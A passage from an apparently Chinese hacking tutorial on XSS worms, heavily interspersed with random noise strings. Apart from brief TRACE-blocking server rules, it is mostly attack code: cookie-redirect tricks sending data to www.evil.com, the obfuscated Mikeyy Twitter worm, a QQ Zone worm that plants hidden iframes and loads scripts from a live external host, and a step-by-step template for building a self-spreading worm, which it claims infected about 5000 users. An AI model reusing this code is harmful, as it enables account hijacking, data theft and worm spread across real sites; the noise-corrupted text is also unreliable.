RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
& }9 R* H: {0 r/ f3 A
RewriteRule .* - [F]
% H, c- a5 o* h; X
! u  w( Z- F9 L2 C: p0 }, B: t

Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
- E& n5 l6 z1 k
acl TRACE method TRACE

...
  ?4 S1 Y' n+ C9 b+ ]
8 G/ P+ K6 o. U; {) b0 K( I9 O7 Bhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
! a$ c3 t; d0 `" V% d$ I+ b
1 u$ L* }9 {6 Z! u7 H( h6 jvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
! O9 f0 a$ v8 l; E% Z
XmlHttp.open("GET","http://www.google.com",false);
( N5 R$ |1 d  T* u9 x$ s
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
4 p0 l* a: U7 Y+ a- a+ v
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

  J: f- D2 C1 K( n1 i! e

5 G) R3 u. u! pXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

$ q4 a  G8 _8 N$ x' kXmlHttp.send(null);
& _3 l8 X+ R2 l7 f# h
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
9 B3 |' w5 x1 g5 ~2 N+ Z1 I6 Y第一版:
  下载 (5.1 KB)
: a5 n! j/ `- p. ~& x. S6 o- ^
& n4 K$ Y. M* U/ l6 天前 08:27

* v9 h) T1 o* U4 s$ O第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   
: }- ~: l9 q7 z, G  D" Q& _
   3. function XHConn(){  

" U5 a2 C) j1 M+ o; D6 [8 b- _% V' }   4.   var _0x6687x2,_0x6687x3=false;  
- q, Q" ^. |5 o' K0 z
5 b: d0 }0 \8 B& w+ g2 ^   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
* B7 J* d( Y5 C9 V- R
" B# w1 Z9 p1 \) V$ C   2.   var content = document.documentElement.innerHTML;  
2 g! D5 D- ?$ @, O5 K) m: i
   3.   var tmp_cookie=document.cookie;  
8 X3 T) u' H7 u1 b. Q7 n
. g+ A: r  ], v4 t2 ?' W- ]   4.   var tmp_posted=tmp_cookie.match(/posted/);  

6 s9 }6 C( y% M# w$ p% n$ i   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

% w% ]. O  I$ U: L. j; L: L   6.   var authtoken=authreg.exec(content);  

4 ?" ^1 g6 L! X# M   7.   var authtoken=authtoken[1];  
. B+ p. t# V+ R
   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
/ h, q) J# ]% b$ w$ `: v
; D. z- n+ M2 u1 H# t+ o  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

5 J# E$ V  ]* ^4 c3 u  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
& b3 R. y! |; z+ F
7 ?4 G. B! R5 d+ s/ C& e  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
; b' ]. y2 c* o
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

5 N: l  \; f8 q% M$ g2 a  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
0 ^9 y! S1 E- B$ X7 y
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
2 _# C3 {- I$ j0 u4 w
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

2 A% d) ~5 O9 r$ b8 a+ B  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

5 f8 J2 U! X, N1 V" d3 u8 K7 ~$ k  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

& i/ w* a+ L+ E7 k1 U9 k, Q  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

9 V) A$ N! y7 e& Y" n. l: |  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
- P6 E3 Y( D2 C. y! Q$ z; A5 ^/ p5 J
- E1 g% @) h8 P  24.     
- J. K7 {4 L2 b' q
3 E& H) ]# F7 g1 i2 L1 a7 u' z  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

2 k' o) z' o0 R5 N$ g  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

7 |+ c$ j  m. U+ U" Y: ?  28.   var ajaxConn= new XHConn();  
3 O" s  g1 ^& ]/ V
4 A( r( ^' m% C; @: g  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
- X1 r5 i9 _9 q
  30.   var _0xf81bx1c="Mikeyy";  

( W$ o2 L  x% s6 s2 ~4 M  31.   var updateEncode=urlencode(_0xf81bx1c);  
! ?+ M) R* u- M6 K
  32.   var ajaxConn1= new XHConn();  
+ H" \$ A0 \4 d/ V" ?5 D) |4 \) Y) q
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
/ f3 g9 Y" o# p) N/ b2 P
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
- ~* H8 I0 [2 Y( h! v1 N
  38.     

& {# B) t5 P2 {& a$ K  39. } ;  

. e8 x$ u9 z# B8 b  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
: N5 P! z  n6 l  ]; `1 K  q4 q
window.onerror=killErrors;

4 F2 |' T0 ~3 i. ~/ a1 R
. W" X2 ~' \& G; Q2 ~! Q
var shendu;shendu=4;
3 A% a. x4 S: ^  K; L; F' I! B: y
* ?7 u% I. t1 v: a; D7 N//---------------global---v------------------------------------------
& d7 f1 \) ^0 `
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
: C( v5 f( J$ n5 M5 w4 c
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
/ ~# q- ^' b1 x5 W3 i( l
( ?# b) }1 n: j% Kvar myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;
* J( @9 V0 M, G" R" E. |# V
        var gurle=gurl.indexOf("com/");

4 m, v$ L3 I3 \        gurl=gurl.substring(0,gurle+3);        
* P) }2 A4 y/ g* ^1 Q
3 e5 ]" `  I8 l        var visitorID=top.document.documentElement.outerHTML;

- y' }  n5 P0 O, [+ |. R. X           var cookieS=visitorID.indexOf("g_iLoginUin = ");

2 ?, Q& a; G. N        visitorID=visitorID.substring(cookieS+14);
/ N8 ?# n4 J2 y6 W1 Q
        cookieS=visitorID.indexOf(",");

$ l& A0 o. _. E. x% _3 {        visitorID=visitorID.substring(0,cookieS);
" k/ T2 A7 ?: n+ ]3 a1 K
" v. b0 c$ J8 u: C8 C  h2 D        get_my_blog(visitorID);

        DOshuamy();
2 o1 u4 }2 X; z& x; b$ ]% x$ m


& j9 {. g- f0 y0 ~1 E, j//挂马

function DOshuamy(){
* g5 X0 s4 @9 v. G) k
var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
6 ]6 {$ w* D; R# [
}
% ]0 B; a3 E! R' E; A


//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
( r: v+ t) n1 q3 I6 F2 K7 J
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

; J# X9 Z# T6 P8 w% e   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

8 {7 f4 k6 P0 S# Y   if(xhr){    //成功就执行下面的
" [  b" N: u8 Z8 ~1 O2 u+ j
# T$ Z* Y8 f5 e2 B. H( Q     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
- {! }, R& M+ Z- ~/ W* @
     xhr.send();guest=xhr.responseText;
: }3 q: K! t' i, g& X# ]) O" x. w
( y* m5 U, H; Q% d     get_my_blogurl(guest);    //执行这个函数

    }

}
  o# q, [) e9 D1 @2 \8 V


3 h; |3 U9 Q0 s4 Y0 m, }//这里似乎是判断没有登录的
- z) F; a/ T" E( c# G
; u) f: X, A" M8 L6 Z) ?function get_my_blogurl(guest){
# I- k3 v) H% N' `0 w
  var mybloglist=guest;
. @3 S/ t" i5 S% x; M! q6 n
/ l+ n' t$ Q& G7 F" j  var myurls;var blogids;var blogide;

- ?" C/ i5 W* p: w  h8 b( m& i7 n2 ~  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
* @5 T$ A" V( Q) q3 y
     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

) x# f$ O) l) |6 E7 G6 |         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

& p2 W2 [* a) y% n) y- K+ ~        }else{break;}
8 i6 ^' Z  h7 `% M4 T3 h
; c9 Y/ }5 G7 j8 I$ g}

3 c* R1 ?) j( [5 J3 Z0 Yget_my_testself();    //执行这个函数

  A* P1 a* }% H$ W. v+ {( L0 E}
# }6 @2 S' n0 `
1 ~3 y) D) @6 H4 [

//这里往哪跳就不知道了
4 R# l, G* ^5 Z7 |' H2 D
function get_my_testself(){
1 Q4 ]$ P, u9 Y5 U0 A- [
/ t' P# u8 R+ G+ h  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
0 ]6 C; t( \2 p, n6 I  e( Q
! g8 P# z. i; x      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

5 W5 i% ?- C. |  A% U' T              xhr2.send();

4 C% K9 U: ~3 Y7 f* Q& K- k" f5 j              guest2=xhr2.responseText;

# r( q: L% _3 W  D* [) D( ?2 ?              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
' ^" x. O! P: Y" ?& e. s& O
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

0 O9 }2 ^8 b' K) z2 u) d: ~              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

) X& C1 L+ K+ v8 R4 _( {& K                targetblogurlid=myblogid;   
2 b' o: p+ f' u  O8 z5 W
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
' d& z0 ]/ T% p0 o
                break;
1 D& L0 R( m! e3 w2 F
$ Z0 x4 d4 A8 {6 ~3 G. i+ {& @               }

3 k/ s, m8 ~5 \! t6 m6 D              if(mycheckit=="-1"){
- N) {0 N' F& `* d0 }; d! p$ O
                targetblogurlid=myblogid;

4 D& L. p+ a7 i* L+ o* r. u1 K                add_js(visitorID,targetblogurlid,gurl);    //执行它
! H- x9 y9 K+ g+ [& \; Z
                break;

1 b7 }. ?: }6 ?4 W9 d8 f7 W" n               }

        }      
% m" J, P' ?7 X$ A, ?$ E& U* t) J
2 y0 V9 m- E1 m1 h" Q+ e& D) j}
. [/ {- i+ q+ E8 A/ i8 i3 N
}
8 A% [' d0 l9 a% z' c- a5 D6 P& l
% ^9 P% E5 \! Y
8 ]) e4 a" J5 o  O2 O0 l9 g
//--------------------------------------  
7 t0 E2 N0 k: n& Z& I) s% z2 w
1 v' V3 ~! [7 Z; J, v//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
: V6 m. E0 U- n$ J( X
    var XMLhttpObject=null;  
# ^+ ^- W! P0 c. r
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  
8 e7 J2 q7 O# [* N& w8 D# {, d7 T  w
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
- _3 t# q8 R4 ~4 A% u9 `& m: ~
        for(var i=0;i<MSXML.length;i++)  

+ \9 v1 z% j/ v        {  

            try  
, C6 s0 Q0 ^7 ~  a% s6 I, Z
            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
2 w- L) x! g: m9 t+ c6 F
                break;  
1 p* f; ]1 N" g, S1 K- L
% V9 M$ V, `; B, d/ D: j            }  
: z# j+ {& z$ b
            catch (ex) {  

            }  

         }  

      }
  H9 o7 ~- |+ A8 I
return XMLhttpObject;
6 ?* p9 l5 d$ d8 P2 T+ j# \
}  
) g+ T: Z/ W& P' q! Y" t3 I
' \+ o( j! K8 M, ~; n6 n  R

//这里就是感染部分了
) K/ m8 S  ^2 U& z. S% |4 n% Y$ _
* v+ e; B$ R( b5 C* K3 efunction add_js(visitorID,targetblogurlid,gurl){
( n7 o7 c# G) N
var s2=document.createElement('script');
! U0 D8 [4 D7 ?" h; d0 ^9 G3 E
8 t- C: r# Z9 g2 p8 ws2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
$ U" _6 r- R- T' T1 u- [4 {4 }
s2.type='text/javascript';
; t. w$ e, [" y+ q  l! {) ~$ J& u5 `
document.getElementsByTagName('head').item(0).appendChild(s2);
, u3 e& e; R: ~% U3 ]
}


1 ]( [2 B- N; A/ X, f# @# c" B
function add_jsdel(visitorID,targetblogurlid,gurl){

$ J+ g- U2 A$ t5 h) l# S' Wvar s2=document.createElement('script');
/ [4 C8 C9 l7 @: g4 d& F
& {, n, W- U+ C, is2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

' X3 M) Y1 e7 O0 B: Gs2.type='text/javascript';
( C2 m( U$ ]- e1 U0 O$ u' U
document.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
. i2 E* c7 S6 l1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

" T9 x  }- H7 d9 P2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

8 f! s) \" @$ U1 ^8 G综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# ?8 }# A6 X( Y9 G
  ~) o. I" c! D' h! c/ b$ H
7 L9 I9 U: l. y9 Y- R+ g下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
# ^- _+ i! H3 v  _
首先,自然是判断不同浏览器,创建不同的对象var request = false;

0 {7 R; ]/ E: f0 k' N( Y% |if(window.XMLHttpRequest) {
  V! X+ x9 C# l4 f0 t; P2 b
9 b- ^6 J6 K0 p6 E: b$ P" a9 d- Mrequest = new XMLHttpRequest();

( V$ P; K! g5 ~2 z# k' s# j7 P- Wif(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}
4 {+ e$ J5 n0 ]9 A
} else if(window.ActiveXObject) {

& l  z, y- d, s2 rvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

$ [4 _( i$ c% Y0 }9 P) [try {

request = new ActiveXObject(versions);

1 Z8 X: ^& X- a) K5 p} catch(e) {}

}
& ?( G) E4 C: b0 X* u% O$ v* [3 z7 X( V
}

xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

- [% E9 Q, d" G        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
$ _* z- j9 Q) |; T- r5 x
- Y2 y7 M+ v/ c7 x& [. [        var Browser_Agent=navigator.userAgent;

7 d; A; Y, Z( m* X( s        

+ Z9 N. x4 P# \3 f9 E1 ~9 d        var Actual_Version,Actual_Name;
8 x/ M% L% S$ u6 x: C& W
        
- F  o* X. R, a: b' m
6 D4 T: e3 U) `# N& J6 ]( y        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

" K/ I* U/ s. }: o/ a4 c' I        var is_NN=(Browser_Name=="Netscape");

) L5 p/ r# l/ X+ F        var is_Ch=(Browser_Name=="Chrome");
1 X! X: Q' Z% m% t& ]0 b$ I
        
9 w' ~8 X7 V1 {+ K: k. l6 m
: a# E9 U7 c) X! c/ l% {$ Y        if(is_NN){
  z' J3 Q9 X. r' l6 G; t/ x
- Z4 a( h% a) H# h            if(Browser_Version>=5.0){
, p1 D& T8 H. y# s! Y+ s) V! H
                var Split_Sign=Browser_Agent.lastIndexOf("/");

% |' ~: c  h0 a8 E% J                var Version=Browser_Agent.indexOf(" ",Split_Sign);
1 H/ Y$ Q8 z! a4 E7 a% j
: c- ?5 _  H/ b4 P+ k                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

4 s+ ^9 `- J- T1 n- K
5 ]% s( K& t8 b0 c/ r* O
) d4 Z# V7 z8 h5 U# y$ D! H                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
' B: L) q. r; j* ~, z! B# q
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
' X5 Y* w  W3 z3 C+ M/ _
3 z  v1 Y! Q1 Q1 a- h            }

6 z( I4 P# F( ~            else{

, A! F  o/ k4 S+ ]! g                Actual_Version=Browser_Version;
4 y5 ~* p" G) o% h% ]
9 e# d8 q' |8 b                Actual_Name=Browser_Name;
2 J' s% M+ p. N9 g0 R, a; s
            }
5 S* ~5 M6 D2 i. _* ^) d: E
        }

        else if(is_IE){
/ ?% p( T  i7 p
! W8 r8 ]2 z! j            var Version_Start=Browser_Agent.indexOf("MSIE");
/ M& G6 x: d# b& u4 r! I% G! m6 F) |
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
- X! y9 v0 Z8 C- u. V7 B
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

* Z4 [7 a! l6 i4 W4 B  _            Actual_Name=Browser_Name;
+ }2 j5 E. s$ e4 g: a4 u8 ^5 O
6 ^- e6 S, z$ {" T9 ~, S            
  Y# t) ^; a- H$ R& r/ f0 M
            if(Browser_Agent.indexOf("Maxthon")!=-1){
# U5 @# @0 w! u  s
                Actual_Name+="(Maxthon)";
& Z8 f1 O/ P) R3 M3 N8 g, `
- H' j! Q, M- Q% D            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
" e1 q4 w2 b1 \3 G
                Actual_Name="Opera";

9 |+ [, B7 l9 [- N7 o                var tempstart=Browser_Agent.indexOf("Opera");
3 C8 J3 u7 _* F  M& |
0 n2 C: C. a, O0 d                var tempend=Browser_Agent.length;
) ^- i) i8 ]0 T5 Y
6 W/ b, }& ^9 t" F2 U                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
) h1 m" B* E0 S' W' [% u# C; p' r
, P$ R0 {% l' [        }
" E7 }1 ^& C- I& W  u) A! ?+ x$ X
        else if(is_Ch){

: m5 {$ B4 e1 e6 V            var Version_Start=Browser_Agent.indexOf("Chrome");
- p, c4 A8 _+ f, `+ s
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
, F* Z: v* u" E" m. q6 b
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

7 p: l* v1 o- L' y4 i$ w; p8 j            Actual_Name=Browser_Name;
0 o: S7 \8 k' h( u
            
2 G/ [, D0 `6 K( i3 L, D" K
            if(Browser_Agent.indexOf("Maxthon")!=-1){

7 E- a, Z7 B' H5 }" h0 b                Actual_Name+="(Maxthon)";
1 k. h' h& X3 |+ S7 _
3 e% {+ t& e6 ^, K            }
, a) [& @2 q$ H0 ~. T
            else if(Browser_Agent.indexOf("Opera")!=-1){
7 I. f$ w6 }$ Q( Y: g4 y
                Actual_Name="Opera";
4 `  Z, r5 E9 `* K' v& |0 _
                var tempstart=Browser_Agent.indexOf("Opera");

1 p( z2 M; T* _3 K                var tempend=Browser_Agent.length;

- a: w( X7 U; G: }- N: T                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

$ C1 N0 p! u1 M+ m2 \1 G            }
" \9 u: E; o2 K6 \! @
- v4 t" f2 s2 b! i+ ?        }

        else{

  z% y* J; n  x$ u1 Q) P. Y            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

        }

) e0 P, C* I& o" c

        navigator.Actual_Name=Actual_Name;
6 D* X9 G7 v- C
        navigator.Actual_Version=Actual_Version;
$ d  F) _& L2 a" \+ u) o# O
        

% G# K$ z+ n, R! o        this.Name=Actual_Name;

3 h# n, i8 q7 l% D        this.Version=Actual_Version;

) Y. Q9 z8 W* Q. I0 i9 W$ ?4 X    }
' E( N5 T' Q7 X8 ~9 z( u
    browserinfo();
- o& @9 h8 W' t  U3 Z9 H" i6 A* h
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
' D! ]7 B7 u0 x
# p8 R% q% `' T' K3 F3 x' y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# [4 q- C* ?3 m3 U; |4 S
* Y! v7 O4 x- _$ A+ h) x3 e    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
6 y/ [: x. z6 A. Z1 w* O" j) ]
( G: P3 ]" o! X& s  O9 m% G    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
) P5 T9 b$ ]8 d/ a' [复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
2 J3 r  ^7 y+ g9 o  {复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

2 }" J3 j" O  p% h$ k- n' T/ Avar resource = xmlHttpReq.responseText;

var id=0;var result;

# I7 G$ z6 ~, K5 e' O) G& Dvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

8 u# f5 A6 W$ r0 K3 J# Q, ?while ((result = patt.exec(resource)) != null)  {
4 U8 ?+ L; _5 {( V- |
id++;
& Q9 G( b: P* o3 d7 B
* H  ?* ~, \( l* I3 R  j}
8 n4 e  p0 U7 n. Q3 F: w9 [复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
' N: H+ [% B: S9 \; y3 t
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

) S: R+ S, a' avar post="wd="+wd;

# O- a* ]- {( V" V" I6 MxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

  b( Y2 @- z* t3 c! D/ l' ?xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

6 V' Q2 m9 m, Y# SxmlHttpReq.setRequestHeader("content-length",post.length);
7 r# g, y: f" N+ B
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

& f  O9 J5 X" o9 i# E5 K}
2 S% E7 w$ ?5 Z, m5 m复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
# y9 E" s) P1 E' E
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

  _8 Q2 i3 \+ W4 l' l/ Gvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
( R0 A; |# u' C2 J: \1 ~
var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
, ^9 S" l* T: M
2 t- ?1 T3 |; K5 I4 t) k" VxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
& k6 J6 {0 _; F* x9 j* o7 |* [
( b2 @- l1 J) C( R) axmlHttpReq.setRequestHeader("content-length",post.length);
5 ~; v7 u% N7 q  \. Z
3 K$ s0 ]. y! G( e( H2 TxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
9 `+ Y& X0 D' ^. e
xmlHttpReq.send(post);                 //把传播的信息 POST出去.

: g7 A$ S9 l9 r* k* _% y}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

" l8 @& J7 s( D) Q3 }5 o
& P2 Z+ V7 O6 i' z' |" m
& y/ U9 t& q1 c, W/ Q5 h: j本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
" N- t1 i8 E% A1 d; [蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
